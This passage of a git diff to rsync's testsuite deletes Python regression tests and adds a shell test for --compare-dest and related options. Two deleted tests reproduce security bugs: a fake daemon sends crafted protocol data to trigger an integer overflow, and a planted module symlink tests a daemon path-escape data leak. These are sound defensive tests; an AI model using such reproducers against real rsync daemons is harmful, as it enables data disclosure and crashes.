0:\n-        test_skipped(\"Your filesystem has ACLs disabled\")\n-    _setfacl('-m', 'g:1:5', str(FROMDIR / 'foo'))\n-    _setfacl('-m', 'g:2:1', str(FROMDIR / 'foo'))\n-    _setfacl('-m', 'g:0:7', str(FROMDIR / 'foo'))\n-    _setfacl('-m', 'u:2:1', str(FROMDIR / 'foo'))\n-    _setfacl('-m', 'u:1:5', str(FROMDIR / 'foo'))\n-\n-    _setfacl('-m', 'u:0:5', str(FROMDIR / 'file1'))\n-    _setfacl('-m', 'g:0:4', str(FROMDIR / 'file1'))\n-    _setfacl('-m', 'u:1:6', str(FROMDIR / 'file1'))\n-\n-    _setfacl('-m', 'u:0:5', str(FROMDIR / 'file2'))\n-\n-    def see_acls(paths):\n-        return subprocess.check_output(['getfacl', *paths], text=True)\n-\n-\n-os.chdir(FROMDIR)\n-run_rsync('-avvA', *files, f'{TODIR}/')\n-\n-before = see_acls(files)\n-(SCRATCHDIR / 'acls.txt').write_text(before)\n-\n-os.chdir(TODIR)\n-after = see_acls(files)\n-if before != after:\n-    print(\"--- expected (from) ---\")\n-    print(before)\n-    print(\"--- got (to) ---\")\n-    print(after)\n-    test_fail(\"ACL listing differs between source and destination\")\ndiff --git a/testsuite/aligned_overflow_test.py b/testsuite/aligned_overflow_test.py\ndeleted file mode 100755\nindex 3007341..0000000\n--- a/testsuite/aligned_overflow_test.py\n+++ /dev/null\n@@ -1,190 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"aligned_i overflow in hash_search() (--inplace > 2 GiB). Reported by Mominul Hemal\n-\n-Verifies that when `aligned_offset < offset` advances `aligned_i` in\n-hash_search(), `aligned_i` is bounded by `s->count` and cannot overflow a\n-32-bit signed integer on files > 2 GiB.\n-\"\"\"\n-\n-import socket\n-import struct\n-import subprocess\n-import threading\n-\n-from rsyncfns import FROMDIR, TODIR, TOOLDIR, rmtree, test_fail\n-\n-RSYNC_BIN = str(TOOLDIR / 'rsync')\n-\n-MPLEX_BASE = 7\n-MSG_DATA = 0\n-NDX_DONE = -1\n-ITEM_TRANSFER = 1 << 15\n-\n-\n-def w_shortint(x: int) -> bytes:\n-    return struct.pack('<H', x & 0xFFFF)\n-\n-\n-def w_int(x: int) -> bytes:\n-    return struct.pack('<i', x & 0xFFFFFFFF if x >= 0 else x)\n-\n-\n-def w_varint(x: int) -> bytes:\n-    if x < 0:\n-        x = (1 << 32) + x\n-    b = bytearray()\n-    while True:\n-        b.append(x & 0x7F)\n-        x >>= 7\n-        if x == 0:\n-            break\n-        b[-1] |= 0x80\n-    return bytes(b)\n-\n-\n-def w_sum_head(count: int, blength: int, s2length: int, remainder: int) -> bytes:\n-    return w_int(count) + w_int(blength) + w_int(s2length) + w_int(remainder)\n-\n-\n-def get_checksum1(buf: bytes) -> int:\n-    sb = [c - 256 if c >= 128 else c for c in buf]\n-    s1 = s2 = 0\n-    for val in sb:\n-        s1 = (s1 + val) & 0xFFFFFFFF\n-        s2 = (s2 + s1) & 0xFFFFFFFF\n-    return ((s1 & 0xFFFF) + ((s2 & 0xFFFF) << 16)) & 0xFFFFFFFF\n-\n-\n-class MinimalDaemonReceiver:\n-    def __init__(self, sock: socket.socket):\n-        self.sock = sock\n-        self._ndx_prev_positive = -1\n-\n-    def _readline(self) -> str:\n-        line = bytearray()\n-        while not line.endswith(b'\\n'):\n-            c = self.sock.recv(1)\n-            if not c:\n-                raise IOError(\"EOF reading line\")\n-            line += c\n-        return line.decode('latin-1').rstrip('\\n')\n-\n-    def handshake(self):\n-        self.sock.sendall(b\"@RSYNCD: 30.0\\n\")\n-        self._readline()  # client greeting\n-        self._readline()  # module name\n-        self.sock.sendall(b\"@RSYNCD: OK\\n\")\n-        self.sock.sendall(w_varint(0) + w_int(0))\n-\n-    def send_data(self, payload: bytes):\n-        hdr = struct.pack('<I', ((MPLEX_BASE + MSG_DATA) << 24) | len(payload))\n-        self.sock.sendall(hdr + payload)\n-\n-    def w_ndx(self, ndx: int) -> bytes:\n-        if ndx == NDX_DONE:\n-            return b'\\x00'\n-        diff = ndx - self._ndx_prev_positive\n-        self._ndx_prev_positive = ndx\n-        return bytes([diff])\n-\n-\n-BIG_SIZE = (1 << 31) + 64       # 2 GiB + 64 bytes\n-NEEDLE_OFFSET = (1 << 31) + 8   # Matching byte past 2^31\n-NEEDLE_BYTE = b'\\x01'\n-\n-rmtree(FROMDIR)\n-rmtree(TODIR)\n-FROMDIR.mkdir(parents=True, exist_ok=True)\n-TODIR.mkdir(parents=True, exist_ok=True)\n-\n-bigfile = FROMDIR / 'bigfile.bin'\n-out_log = TODIR / 'client.log'\n-\n-with open(bigfile, 'wb') as f:\n-    f.truncate(BIG_SIZE)\n-    f.seek(0)\n-    f.write(NEEDLE_BYTE)\n-    f.seek(NEEDLE_OFFSET)\n-    f.write(NEEDLE_BYTE)\n-\n-lsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n-lsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n-lsock.bind(('127.0.0.1', 0))\n-port = lsock.getsockname()[1]\n-lsock.listen(1)\n-lsock.settimeout(30)\n-\n-csock = None\n-t = None\n-rc = None\n-logf = open(out_log, 'wb')\n-proc = subprocess.Popen(\n-    [\n-        RSYNC_BIN, '-a', '--inplace', '--debug=deltasum1',\n-        str(bigfile), f'rsync://127.0.0.1:{port}/mod/',\n-    ],\n-    stdout=logf,\n-    stderr=logf,\n-)\n-\n-try:\n-    csock, _ = lsock.accept()\n-    receiver = MinimalDaemonReceiver(csock)\n-    receiver.handshake()\n-\n-    def drain_stream():\n-        try:\n-            csock.settimeout(90)\n-            while csock.recv(1 << 20):\n-                pass\n-        except OSError:\n-            pass\n-\n-    t = threading.Thread(target=drain_stream, daemon=True)\n-    t.start()\n-\n-    sum1 = get_checksum1(NEEDLE_BYTE)\n-    # Send transfer request followed by 4 NDX_DONEs (phase 1, phase 2,\n-    # end of send_files, and final goodbye) so the sender exits cleanly\n-    # as soon as hash_search() completes.\n-    buf = (\n-        receiver.w_ndx(0)\n-        + w_shortint(ITEM_TRANSFER)\n-        + w_sum_head(1, 1, 0, 0)\n-        + w_int(sum1)\n-        + (receiver.w_ndx(NDX_DONE) * 4)\n-    )\n-    receiver.send_data(buf)\n-\n-    rc = proc.wait(timeout=240)\n-    t.join(timeout=5)\n-finally:\n-    if csock is not None:\n-        try:\n-            csock.close()\n-        except OSError:\n-            pass\n-    lsock.close()\n-    if proc.poll() is None:\n-        proc.terminate()\n-        try:\n-            proc.wait(timeout=5)\n-        except subprocess.TimeoutExpired:\n-            proc.kill()\n-            proc.wait()\n-    if t is not None:\n-        t.join(timeout=5)\n-    logf.close()\n-    bigfile.unlink(missing_ok=True)\n-\n-out_text = out_log.read_text(encoding='utf-8', errors='replace')\n-print(f\"sender exited with rc={rc}\", flush=True)\n-print(out_text[-1000:], flush=True)\n-\n-if rc != 0 or 'total: matches=' not in out_text:\n-    test_fail(\n-        f\"sender crashed or did not complete hash_search() past 2 GiB \"\n-        f\"(rc={rc}):\\n{out_text[-1000:]}\"\n-    )\n-\n-print(\"aligned_overflow test passed: completed >2 GiB hash_search() cleanly\", flush=True)\ndiff --git a/testsuite/alt-dest-deep_test.py b/testsuite/alt-dest-deep_test.py\ndeleted file mode 100644\nindex 1054948..0000000\n--- a/testsuite/alt-dest-deep_test.py\n+++ /dev/null\n@@ -1,85 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"Property-level coverage of --link-dest / --copy-dest / --compare-dest at\n-depth and across directory boundaries.\n-\n-The existing alt-dest_test.py is a faithful port that checks tree equality;\n-this companion asserts the *distinguishing* property of each option, at every\n-level of a >=3-deep tree, with the alternate-destination tree placed OUTSIDE\n-both the source and destination trees (a sibling, not a parent/child):\n-\n-  --link-dest    unchanged files are HARD-LINKED to the reference (same inode);\n-                 a changed file is transferred fresh (not linked).\n-  --copy-dest    unchanged files are COPIED from the reference (never linked);\n-                 dest is complete and byte-identical to the source.\n-  --compare-dest unchanged files are NEITHER transferred NOR created in dest;\n-                 only a changed/new file lands in dest.\n-\n-These options drive the two-dirfd / outside-tree path handling the resolver\n-restructure rewrites, so they must be guarded at depth.\n-\"\"\"\n-\n-import os\n-\n-from rsyncfns import (\n-    FROMDIR, SCRATCHDIR, TODIR,\n-    assert_exists, assert_hardlinked, assert_not_exists, assert_not_hardlinked,\n-    assert_same, make_tree, rmtree, run_rsync, walk_files,\n-)\n-\n-src = FROMDIR\n-ref = SCRATCHDIR / 'altref'   # sibling of from/ and to/ -- outside both trees\n-\n-rmtree(src)\n-rmtree(ref)\n-rmtree(TODIR)\n-\n-# A >=3-deep source: f0 at the root, then d1/f1, d1/d2/f2, d1/d2/d3/f3.\n-make_tree(src, depth=3, data=True)\n-\n-# Reference tree == an exact copy of the source, so every file is \"identical\"\n-# for the alt-dest comparison.\n-run_rsync('-a', f'{src}/', f'{ref}/')\n-\n-# Now make the deepest file differ so it must be transferred in every mode.\n-changed = os.path.join('d1', 'd2', 'd3', 'f3')\n-with open(src / changed, 'ab') as f:\n-    f.write(b'a changed deep tail\\n')\n-\n-rels = [p.relative_to(src) for p in walk_files(src)]\n-assert os.path.join('d1', 'd2', 'd3', 'f3') in [str(r) for r in rels]\n-\n-\n-def run_to(opt):\n-    rmtree(TODIR)\n-    run_rsync('-a', f'--{opt}={ref}', f'{src}/', f'{TODIR}/')\n-\n-\n-# --- --link-dest: unchanged -> hardlink to ref; changed -> fresh copy -------\n-run_to('link-dest')\n-for rel in rels:\n-    d, r = TODIR / rel, ref / rel\n-    if str(rel) == changed:\n-        assert_not_hardlinked(d, r, label=f'link-dest changed {rel}')\n-        assert_same(d, src / rel, label=f'link-dest changed {rel}')\n-    else:\n-        assert_hardlinked(d, r, label=f'link-dest unchanged {rel}')\n-\n-# --- --copy-dest: every file copied (never linked), dest complete -----------\n-run_to('copy-dest')\n-for rel in rels:\n-    d, r = TODIR / rel, ref / rel\n-    assert_exists(d, label=f'copy-dest {rel}')\n-    assert_same(d, src / rel, label=f'copy-dest {rel}')\n-    assert_not_hardlinked(d, r, label=f'copy-dest {rel}')\n-\n-# --- --compare-dest: unchanged absent from dest; only the changed file lands -\n-run_to('compare-dest')\n-for rel in rels:\n-    d = TODIR / rel\n-    if str(rel) == changed:\n-        assert_exists(d, label=f'compare-dest changed {rel}')\n-        assert_same(d, src / rel, label=f'compare-dest changed {rel}')\n-    else:\n-        assert_not_exists(d, label=f'compare-dest unchanged {rel}')\n-\n-print(\"alt-dest-deep: link-dest/copy-dest/compare-dest verified at depth\")\ndiff --git a/testsuite/alt-dest-symlink-race_test.py b/testsuite/alt-dest-symlink-race_test.py\ndeleted file mode 100644\nindex fc83c57..0000000\n--- a/testsuite/alt-dest-symlink-race_test.py\n+++ /dev/null\n@@ -1,98 +0,0 @@\n-#!/usr/bin/env python3\n-# Python rewrite of testsuite/alt-dest-symlink-race.test.\n-#\n-# Regression test for the basedir-confinement gap in\n-# secure_relative_open(): a parent symlink ON basedir is followed\n-# unrestrictedly, then RESOLVE_BENEATH is applied only to relpath,\n-# anchored at the wrong directory.  In daemon mode this lets a local\n-# attacker who can write into a module plant module/cd -> /outside and\n-# then use --link-dest=cd / --copy-dest=cd / --compare-dest=cd to make\n-# the receiver's basis-file lookup resolve into /outside, leaking\n-# daemon-readable content via the rsync delta-rolling read-disclosure\n-# primitive.\n-#\n-# Detection: with --link-dest, when basis matches source exactly the\n-# destination is hard-linked to the basis. On a successful escape the\n-# destination shares an inode with /outside/target.txt; on a fix it\n-# doesn't.\n-\n-import os\n-import subprocess\n-\n-from rsyncfns import (\n-    SCRATCHDIR,\n-    rsync_argv, get_testuid, get_rootuid, get_rootgid,\n-    rmtree, start_test_daemon, test_fail,\n-)\n-\n-\n-DAEMON_PORT = 12882\n-\n-\n-mod = SCRATCHDIR / 'module'\n-outside = SCRATCHDIR / 'outside'\n-src_dir = SCRATCHDIR / 'src_files'\n-conf = SCRATCHDIR / 'test-rsyncd.conf'\n-\n-for d in (mod, outside, src_dir):\n-    rmtree(d)\n-    d.mkdir(parents=True)\n-\n-# The outside file an attacker wants the daemon to treat as a basis.\n-(outside / 'target.txt').write_text(\"OUTSIDE_SECRET_DATA\\n\")\n-os.chmod(outside / 'target.txt', 0o644)\n-\n-# Attacker-planted module symlink.\n-os.symlink(str(outside), mod / 'cd')\n-\n-# Source: same content + mtime + mode as outside, so --link-dest hard-\n-# links the destination to the basis iff basedir lookup escapes.\n-(src_dir / 'target.txt').write_text(\"OUTSIDE_SECRET_DATA\\n\")\n-ref = (outside / 'target.txt').stat()\n-os.utime(src_dir / 'target.txt', (ref.st_atime, ref.st_mtime))\n-os.chmod(src_dir / 'target.txt', 0o644)\n-\n-my_uid = get_testuid()\n-root_uid = get_rootuid()\n-root_gid = get_rootgid()\n-uid_line = f\"uid = {root_uid}\"\n-gid_line = f\"gid = {root_gid}\"\n-if my_uid != root_uid:\n-    uid_line = '#' + uid_line\n-    gid_line = '#' + gid_line\n-\n-conf.write_text(f\"\"\"\\\n-use chroot = no\n-{uid_line}\n-{gid_line}\n-log file = {SCRATCHDIR}/rsyncd.log\n-[upload]\n-    path = {mod}\n-    use chroot = no\n-    read only = no\n-\"\"\")\n-\n-url = start_test_daemon(conf, DAEMON_PORT)\n-\n-# Push directly into the module root: pushing into a destination subdir\n-# would make the receiver chdir into it before resolving --link-dest,\n-# making \"cd\" resolve in the wrong CWD and masking the bug.\n-subprocess.run(\n-    rsync_argv('-rtp', '--link-dest=cd',\n-               f'{src_dir}/', f'{url}upload/'),\n-    stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,\n-)\n-\n-target = mod / 'target.txt'\n-if not target.is_file():\n-    test_fail(\n-        \"destination file was not created -- daemon transfer failed \"\n-        \"before the test could observe the basedir behaviour\"\n-    )\n-\n-if target.stat().st_ino == (outside / 'target.txt').stat().st_ino:\n-    test_fail(\n-        f\"basedir-escape: --link-dest hard-linked module/target.txt to \"\n-        f\"outside/target.txt (inode {target.stat().st_ino}); daemon's \"\n-        \"basis-file lookup followed the parent symlink on the basedir\"\n-    )\ndiff --git a/testsuite/alt-dest.test b/testsuite/alt-dest.test\nnew file mode 100644\nindex 0000000..d2fb5a1\n--- /dev/null\n+++ b/testsuite/alt-dest.test\n@@ -0,0 +1,68 @@\n+#!/bin/sh\n+\n+# Copyright (C) 2004-2022 Wayne Davison\n+\n+# This program is distributable under the terms of the GNU GPL (see\n+# COPYING).\n+\n+# Test rsync handling of --compare-dest and similar options.\n+\n+. \"$suitedir/rsync.fns\"\n+\n+alt1dir=\"$tmpdir/alt1\"\n+alt2dir=\"$tmpdir/alt2\"\n+alt3dir=\"$tmpdir/alt3\"\n+\n+SSH=\"$scratchdir/src/support/lsh.sh\"\n+\n+# Build some files/dirs/links to copy\n+\n+hands_setup\n+\n+# Setup the alt and chk dirs\n+$RSYNC -av --include=text --include='*/' --exclude='*' \"$fromdir/\" \"$alt1dir/\"\n+$RSYNC -av --include=etc-ltr-list --include='*/' --exclude='*' \"$fromdir/\" \"$alt2dir/\"\n+\n+# Create a side dir where there is a candidate destfile of the same name as a sourcefile\n+echo \"This is a test file\" >\"$fromdir/likely\"\n+\n+mkdir \"$alt3dir\"\n+echo \"This is a test file\" >\"$alt3dir/likely\"\n+\n+sleep 1\n+touch \"$fromdir/dir/text\" \"$fromdir/likely\"\n+\n+$RSYNC -av --exclude=/text --exclude=etc-ltr-list \"$fromdir/\" \"$chkdir/\"\n+\n+# Let's do it!\n+checkit \"$RSYNC -avv --no-whole-file \\\n+    --compare-dest='$alt1dir' --compare-dest='$alt2dir' \\\n+    '$fromdir/' '$todir/'\" \"$chkdir\" \"$todir\"\n+\n+rm -rf \"$todir\"\n+checkit \"$RSYNC -avv --no-whole-file \\\n+    --copy-dest='$alt1dir' --copy-dest='$alt2dir' \\\n+    '$fromdir/' '$todir/'\" \"$fromdir\" \"$todir\"\n+\n+# Test that copy_file() works correctly with tmpfiles\n+for maybe_inplace in '' --inplace; do\n+    rm -rf \"$todir\"\n+    checkit \"$RSYNC -av $maybe_inplace --copy-dest='$alt3dir' \\\n+\t'$fromdir/' '$todir/'\" \"$fromdir\" \"$todir\"\n+\n+    for srchost in '' 'localhost:'; do\n+\tif [ -z \"$srchost\" ]; then\n+\t    desthost='localhost:'\n+\telse\n+\t    desthost=''\n+\tfi\n+\n+\trm -rf \"$todir\"\n+\tcheckit \"$RSYNC -ave '$SSH' --rsync-path='$RSYNC' $maybe_inplace \\\n+\t    --copy-dest='$alt3dir' '$srchost$fromdir/' '$desthost$todir/'\" \\\n+\t    \"$fromdir\" \"$todir\"\n+    done\n+done\n+\n+# The script would have aborted on error, so getting here means we've won.\n+exit 0\ndiff --git a/testsuite/alt-dest_test.py b/testsuite/alt-dest_test.py\ndeleted file mode 100644\nindex 19bce22..0000000\n--- a/testsuite/alt-dest_test.py\n+++ /dev/null\n@@ -1,79 +0,0 @@\n-#!/usr/bin/env python3\n-# Python rewrite of testsuite/alt-dest.test.\n-#\n-# Exercise rsync's --compare-dest, --copy-dest and --link-dest\n-# alternative-destination options, both locally and across the lsh.sh\n-# remote-shell stand-in. Also covers the tmpfile path in copy_file() by\n-# pointing --copy-dest at a directory holding a same-name candidate.\n-\n-import os\n-import shutil\n-import time\n-\n-from rsyncfns import (\n-    CHKDIR, FROMDIR, RSYNC, RSYNC_PEER, SCRATCHDIR, SRCDIR, TMPDIR, TODIR,\n-    checkit, hands_setup, rmtree, run_rsync, test_fail, rsync_path_arg, rsh_cmd,\n-)\n-\n-\n-alt1dir = TMPDIR / 'alt1'\n-alt2dir = TMPDIR / 'alt2'\n-alt3dir = TMPDIR / 'alt3'\n-\n-SSH = rsh_cmd()\n-\n-hands_setup()\n-\n-# Seed alt1 and alt2 with disjoint single-file subtrees of fromdir.\n-run_rsync('-av', '--include=text', '--include=*/', '--exclude=*',\n-          f'{FROMDIR}/', f'{alt1dir}/')\n-run_rsync('-av', '--include=etc-ltr-list', '--include=*/', '--exclude=*',\n-          f'{FROMDIR}/', f'{alt2dir}/')\n-\n-# Create a side dir with one identically-named candidate so copy_file()'s\n-# tmpfile path gets exercised.\n-(FROMDIR / 'likely').write_text(\"This is a test file\\n\")\n-alt3dir.mkdir()\n-(alt3dir / 'likely').write_text(\"This is a test file\\n\")\n-\n-time.sleep(1)\n-os.utime(FROMDIR / 'dir' / 'text')\n-os.utime(FROMDIR / 'likely')\n-\n-# chkdir: what a vanilla copy would produce, minus /text and etc-ltr-list.\n-run_rsync('-av', '--exclude=/text', '--exclude=etc-ltr-list',\n-          f'{FROMDIR}/', f'{CHKDIR}/')\n-\n-# Stacked --compare-dest: dest grows just the deltas alt1+alt2 don't have.\n-checkit(['-avv', '--no-whole-file',\n-         f'--compare-dest={alt1dir}', f'--compare-dest={alt2dir}',\n-         f'{FROMDIR}/', f'{TODIR}/'], CHKDIR, TODIR)\n-\n-rmtree(TODIR)\n-# Stacked --copy-dest: dest gets full copy because content can be hardlinked\n-# from the alt dirs where available.\n-checkit(['-avv', '--no-whole-file',\n-         f'--copy-dest={alt1dir}', f'--copy-dest={alt2dir}',\n-         f'{FROMDIR}/', f'{TODIR}/'], FROMDIR, TODIR)\n-\n-# Test that copy_file() works correctly with tmpfiles. Combine each of\n-# {direct, --inplace} with each of {local, remote-source, remote-dest}.\n-for maybe_inplace in ([], ['--inplace']):\n-    rmtree(TODIR)\n-    checkit(['-av', *maybe_inplace, f'--copy-dest={alt3dir}',\n-             f'{FROMDIR}/', f'{TODIR}/'], FROMDIR, TODIR)\n-    # --copy-dest must COPY the unchanged candidate, not hard-link it: the\n-    # result is a distinct inode from the alt-dir source (this is the property\n-    # that distinguishes --copy-dest from --link-dest, which checkit's tree\n-    # comparison alone does not capture).\n-    if os.stat(TODIR / 'likely').st_ino == os.stat(alt3dir / 'likely').st_ino:\n-        test_fail(f\"--copy-dest{' --inplace' if maybe_inplace else ''} \"\n-                  \"hard-linked 'likely' instead of copying it\")\n-\n-    for srchost in ('', 'localhost:'):\n-        desthost = 'localhost:' if not srchost else ''\n-        rmtree(TODIR)\n-        checkit(['-ave', SSH, f'--rsync-path={rsync_path_arg()}', *maybe_inplace,\n-                 f'--copy-dest={alt3dir}',\n-                 f'{srchost}{FROMDIR}/', f'{desthost}{TODIR}/'],\n-                FROMDIR, TODIR)\ndiff --git a/testsuite/append-abort-mid-write_test.py b/testsuite/append-abort-mid-write_test.py\ndeleted file mode 100644\nindex b0b1ebe..0000000\n--- a/testsuite/append-abort-mid-write_test.py\n+++ /dev/null\n@@ -1,265 +0,0 @@\n-#!/usr/bin/env python3\n-# An --append or --inplace transfer that is aborted while the receiver is\n-# writing out its buffer must leave the destination a clean prefix of the\n-# source.\n-#\n-# When a transfer aborts, the generator sends the receiver SIGUSR1, and the\n-# handler runs exit_cleanup().  For these modes that cleanup used to flush the\n-# receiver's write buffer.  If the signal was handled after a write() of the\n-# buffer had returned, but before flush_write_file() had counted those bytes as\n-# written, the cleanup wrote them a second time.  With --append the duplicate\n-# then stayed in the file for good, since later runs only add data past the\n-# end.\n-#\n-# A signal that arrives during a slow write (FUSE, NFS) is handled exactly\n-# there, as the write returns.  To reach that point deterministically, this\n-# test runs rsync under a scratch-built LD_PRELOAD shim: right after the\n-# receiver's first large write() to the destination file, the shim keeps every\n-# signal pending and reports the receiver's pid, and the test sends SIGUSR1\n-# before letting it continue.\n-\n-import os\n-import shlex\n-import shutil\n-import signal\n-import subprocess\n-import sys\n-import time\n-\n-from rsyncfns import (\n-    RSYNC, SCRATCHDIR, assert_same, make_data_file, makepath, rmtree,\n-    rsync_argv, run_rsync, split_rsync_cmd, test_fail, test_skipped,\n-)\n-\n-\n-SHIM_C = r'''\n-#define _GNU_SOURCE 1\n-#include <dlfcn.h>\n-#include <errno.h>\n-#include <fcntl.h>\n-#include <limits.h>\n-#include <signal.h>\n-#include <stdio.h>\n-#include <stdlib.h>\n-#include <string.h>\n-#include <sys/stat.h>\n-#include <time.h>\n-#include <unistd.h>\n-\n-static ssize_t (*real_write)(int, const void *, size_t);\n-static char target_path[PATH_MAX];\n-static int held;\n-\n-static void note(const char *env, const char *text)\n-{\n-\tconst char *path = getenv(env);\n-\tint fd;\n-\n-\tif (!path || !*path)\n-\t\treturn;\n-\tfd = open(path, O_WRONLY | O_CREAT | O_TRUNC, 0600);\n-\tif (fd >= 0) {\n-\t\t(void)real_write(fd, text, strlen(text));\n-\t\t(void)close(fd);\n-\t}\n-}\n-\n-__attribute__((constructor))\n-static void init(void)\n-{\n-\tconst char *target = getenv(\"RSYNC_MIDWRITE_TARGET\");\n-\n-\treal_write = (ssize_t (*)(int, const void *, size_t))\n-\t\tdlsym(RTLD_NEXT, \"write\");\n-\tif (target && *target && !realpath(target, target_path)) {\n-\t\tstrncpy(target_path, target, sizeof target_path - 1);\n-\t\ttarget_path[sizeof target_path - 1] = '\\0';\n-\t}\n-\tnote(\"RSYNC_MIDWRITE_LOADED\", \"loaded\\n\");\n-}\n-\n-static int fd_is_target(int fd)\n-{\n-\tchar procpath[64];\n-\tchar actual[PATH_MAX];\n-\tssize_t n;\n-\n-\tif (!target_path[0])\n-\t\treturn 0;\n-\tsnprintf(procpath, sizeof procpath, \"/proc/self/fd/%d\", fd);\n-\tn = readlink(procpath, actual, sizeof actual - 1);\n-\tif (n < 0)\n-\t\treturn 0;\n-\tactual[n] = '\\0';\n-\treturn strcmp(actual, target_path) == 0;\n-}\n-\n-/* Report our pid, then wait (at most a minute) for the test to release us. */\n-static void hold(void)\n-{\n-\tconst char *release = getenv(\"RSYNC_MIDWRITE_RELEASE\");\n-\tstruct timespec tick = { 0, 10 * 1000 * 1000 };\n-\tchar pid[32];\n-\tint i;\n-\n-\tsnprintf(pid, sizeof pid, \"%d\\n\", (int)getpid());\n-\tnote(\"RSYNC_MIDWRITE_HELD\", pid);\n-\tfor (i = 0; release && i < 6000 && access(release, F_OK) != 0; i++)\n-\t\tnanosleep(&tick, NULL);\n-}\n-\n-ssize_t write(int fd, const void *buf, size_t count)\n-{\n-\tsigset_t all, old;\n-\tssize_t ret;\n-\tint saved_errno;\n-\n-\tif (!real_write) {\n-\t\terrno = EIO;\n-\t\treturn -1;\n-\t}\n-\tif (held || count < 65536 || !fd_is_target(fd))\n-\t\treturn real_write(fd, buf, count);\n-\n-\theld = 1;\n-\tsigfillset(&all);\n-\tsigprocmask(SIG_BLOCK, &all, &old);\n-\tret = real_write(fd, buf, count);\n-\tsaved_errno = errno;\n-\thold();\n-\tsigprocmask(SIG_SETMASK, &old, NULL);\n-\terrno = saved_errno;\n-\treturn ret;\n-}\n-'''\n-\n-\n-def compiler():\n-    cc = os.environ.get('CC')\n-    if cc:\n-        return shlex.split(cc)\n-    for name in ('cc', 'gcc', 'clang'):\n-        path = shutil.which(name)\n-        if path:\n-            return [path]\n-    return None\n-\n-\n-def build_shim():\n-    if not sys.platform.startswith('linux'):\n-        test_skipped('the mid-write hook is an LD_PRELOAD shim that matches '\n-                     'the destination fd through /proc/self/fd')\n-    cc = compiler()\n-    if not cc:\n-        test_skipped('no C compiler available to build the mid-write shim')\n-\n-    cfile = SCRATCHDIR / 'midwrite.c'\n-    sofile = SCRATCHDIR / 'midwrite.so'\n-    cfile.write_text(SHIM_C)\n-    proc = subprocess.run(\n-        cc + ['-shared', '-fPIC', '-O2', '-Wall', '-Wextra',\n-              '-o', str(sofile), str(cfile), '-ldl'],\n-        stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True)\n-    if proc.returncode != 0 or not sofile.is_file():\n-        test_skipped('could not build the mid-write shim:\\n'\n-                     + (proc.stdout or '').strip())\n-    return sofile\n-\n-\n-def gone(pid):\n-    \"\"\"True once `pid` has exited (a zombie counts: it can no longer write).\"\"\"\n-    try:\n-        with open(f'/proc/{pid}/stat') as f:\n-            return f.read().rsplit(')', 1)[1].split()[0] == 'Z'\n-    except FileNotFoundError:\n-        return True\n-\n-\n-def first_difference(a, b):\n-    for i in range(0, min(len(a), len(b)), 4096):\n-        if a[i:i + 4096] != b[i:i + 4096]:\n-            return next(j for j in range(i, i + 4096) if a[j] != b[j])\n-    return min(len(a), len(b))\n-\n-\n-def abort_mid_write(mode):\n-    \"\"\"Abort an rsync `mode` transfer while the receiver is inside its first\n-    write() to the destination, then check what that left behind.\"\"\"\n-    base = SCRATCHDIR / 'append-abort'\n-    src = base / 'src'\n-    dest = base / 'dest'\n-    rmtree(base)\n-    makepath(src, dest)\n-\n-    # A growing file whose first MiB was synced by an earlier run.\n-    make_data_file(src / 'grow.bin', 4 * 1024 * 1024)\n-    data = (src / 'grow.bin').read_bytes()\n-    prefix = 1024 * 1024\n-    (dest / 'grow.bin').write_bytes(data[:prefix])\n-\n-    loaded = SCRATCHDIR / 'midwrite.loaded'\n-    held = SCRATCHDIR / 'midwrite.held'\n-    release = SCRATCHDIR / 'midwrite.release'\n-    for p in (loaded, held, release):\n-        p.unlink(missing_ok=True)\n-    env = os.environ.copy()\n-    env['LD_PRELOAD'] = str(shim)\n-    env['RSYNC_MIDWRITE_TARGET'] = str((dest / 'grow.bin').resolve())\n-    env['RSYNC_MIDWRITE_LOADED'] = str(loaded)\n-    env['RSYNC_MIDWRITE_HELD'] = str(held)\n-    env['RSYNC_MIDWRITE_RELEASE'] = str(release)\n-\n-    argv = rsync_argv('-a', mode, f'{src}/', f'{dest}/')\n-    print('Running:', ' '.join(argv))\n-    proc = subprocess.Popen(argv, env=env)\n-    try:\n-        deadline = time.monotonic() + 60\n-        while not held.is_file() or not held.read_text().endswith('\\n'):\n-            if proc.poll() is not None or time.monotonic() > deadline:\n-                break\n-            time.sleep(0.01)\n-        if not loaded.exists():\n-            test_skipped('mid-write shim was not loaded; rsync may be static '\n-                         'or the platform ignored LD_PRELOAD')\n-        if not held.is_file():\n-            test_fail(f'{mode}: the receiver never wrote to the destination '\n-                      'file, so the shim could not hold it')\n-        receiver = int(held.read_text())\n-        # What the generator's exit cleanup does when a transfer aborts.\n-        os.kill(receiver, signal.SIGUSR1)\n-    finally:\n-        release.touch()\n-    try:\n-        proc.wait(timeout=60)\n-    except subprocess.TimeoutExpired:\n-        proc.kill()\n-        test_fail(f'{mode}: rsync did not exit after its receiver was aborted')\n-    deadline = time.monotonic() + 30\n-    while not gone(receiver):\n-        if time.monotonic() > deadline:\n-            test_fail(f'{mode}: the receiver did not exit after SIGUSR1')\n-        time.sleep(0.01)\n-    if proc.returncode == 0:\n-        test_fail(f'{mode}: rsync exited 0 although its receiver was aborted')\n-\n-    got = (dest / 'grow.bin').read_bytes()\n-    if len(got) > len(data) or got != data[:len(got)]:\n-        test_fail(f'{mode}: after the abort the destination ({len(got)} '\n-                  f'bytes) is not a prefix of the source; it differs at byte '\n-                  f'{first_difference(got, data)}, so the receiver wrote data '\n-                  'it had already written')\n-\n-    run_rsync('-a', mode, f'{src}/', f'{dest}/')\n-    assert_same(src / 'grow.bin', dest / 'grow.bin',\n-                label=f'{mode} rerun after the abort')\n-\n-\n-if os.path.basename(split_rsync_cmd(RSYNC)[0]) == 'valgrind':\n-    test_skipped('the LD_PRELOAD write hook is not meaningful under valgrind')\n-\n-shim = build_shim()\n-for mode in ('--append', '--inplace'):\n-    abort_mid_write(mode)\n-\n-print('append-abort-mid-write: an abort in the middle of a write left the '\n-      'destination a clean prefix for --append and --inplace')\ndiff --git a/testsuite/append-shortsum_test.py b/testsuite/append-shortsum_test.py\ndeleted file mode 100644\nindex 6fa3bdd..0000000\n--- a/testsuite/append-shortsum_test.py\n+++ /dev/null\n@@ -1,52 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"Regression: a short transfer checksum must not over-state the block s2length.\n-\n-A full-checksum (--append-verify 